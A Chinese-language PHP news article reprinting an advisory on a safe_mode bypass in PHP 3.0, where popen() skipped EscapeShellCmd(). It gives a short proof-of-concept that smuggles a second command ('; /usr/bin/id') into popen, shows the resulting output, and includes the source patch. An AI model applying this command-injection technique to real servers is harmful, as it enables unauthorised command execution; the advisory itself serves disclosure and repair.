PHP程序员站--PHP编程开发平台
 当前位置:主页 >> 新闻咨询 >> 业内新闻 >> 

PHP3 "safe_mode"出现失效漏洞

PHP3 "safe_mode"出现失效漏洞

来源:phperz.com  作者:  发布时间:2010-03-12
受影响系统: PHP 3.00 描述: PHP Version 3.0是一个HTML嵌入

受影响系统:

  PHP 3.00

  描述:

  PHP Version 3.0是一个HTML嵌入式脚本语言。其大多数语法移植于C、Java和Perl并结合了PHP的特色。这个语言可以让web开发者快速创建动 态 网页。

  因其执行在web服务器上并允许用户执行代码,PHP内置了称为'safe_mode'的安全特性,用于控制在在允许PHP操作的webroot环境中执行命令。

  其实现机制是通过强制执行shell命令的系统调用将shell命令传送到EscapeShellCmd()函数,此函数用于确认在webroot目录外部不能执行命令。

  在某些版本的PHP中,使用popen()命令时EscapeShellCmd()却失效了,造成恶意用户可以利用'popen'系统调用进行非法操作。

  测试方法:

  警 告

  以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

  

  $fp = popen("ls -l /opt/bin; /usr/bin/id", "r");

  echo "$fp
\n";

  while($line = fgets($fp, 1024)):

  printf("%s
\n", $line);

  endwhile;

  pclose($fp);

  phpinfo();

  ?>

  输出结果如下:

  1

  total 53

  -rwxr-xr-x 1 root root 52292 Jan 3 22:05 ls

  uid=30(wwwrun) gid=65534(nogroup) groups=65534(nogroup)

  and from the configuration values of phpinfo():

  safe_mode 0 1

  建议:

  Index: functions/file.c

  ===================================================================

  RCS file: /repository/php3/functions/file.c,v

  retrieving revision 1.229

  retrieving revision 1.230

  diff -u -r1.229 -r1.230

  --- functions/file.c 2000/01/01 04:31:15 1.229

  +++ functions/file.c 2000/01/03 21:31:31 1.230

  @@ -26,7 +26,7 @@

  | Authors: Rasmus Lerdorf|

  +----------------------------------------------------------------------+

*/

  -/* $Id: file.c,v 1.229 2000/01/01 04:31:15 sas Exp $ */

  +/* $Id: file.c,v 1.230 2000/01/03 21:31:31 kk Exp $ */

  #include "php.h"

  #include

  @@ -51,6 +51,7 @@

  #include "safe_mode.h"

  #include "php3_list.h"

  #include "php3_string.h"

  +#include "exec.h"

  #include "file.h"

  #if HAVE_PWD_H

  #if MSVC5

  @@ -575,7 +576,7 @@

  pval *arg1, *arg2;

  FILE *fp;

  int id;

  - char *p;

  + char *p, *tmp = NULL;

  char *b, buf[1024];

  TLS_VARS;

  @@ -600,7 +601,11 @@

  } else {

  snprintf(buf,sizeof(buf),"%s/%s",php3_ini.safe_mode_exec_dir,arg1->value.str.val);

  }

  - fp = popen(buf,p);

  +

  + tmp = _php3_escapeshellcmd(buf);

  + fp = popen(tmp,p);

  + efree(tmp); /* temporary copy, no longer necessary */

  +

  if (!fp) {

  php3_error(E_WARNING,"popen(\"%s\",\"%s\") - %s",buf,p,strerror(errno));

  RETURN_FALSE;


延伸阅读:
PHP wordwrap()缓冲区溢出漏洞
Apache HTTP server存在严重漏洞危及web安全/蠕虫出现
PHP 5.2.5之前版本多个安全漏洞
Debian,Ubuntu被发现一个存在两年的漏洞
PHP 5.2.8 紧急发布 修复5.2.7严重漏洞
Linux又爆重大漏洞:直接获取root权限
PHP文件包含漏洞原理分析和利用方法
如何在php中修补XSS漏洞
php函数intval()使用不当的安全漏洞分析
IE曝出0day安全漏洞 微软称影响XP等旧系统
Apache HTTP Server 中发现严重安全漏洞
Tags: 漏洞   safe_mode   PHP3   php  
最新文章
推荐阅读
月点击排行榜
PHP程序员站 Copyright © 2007-2010,PHPERZ.COM All Rights Reserved 粤ICP备07503606号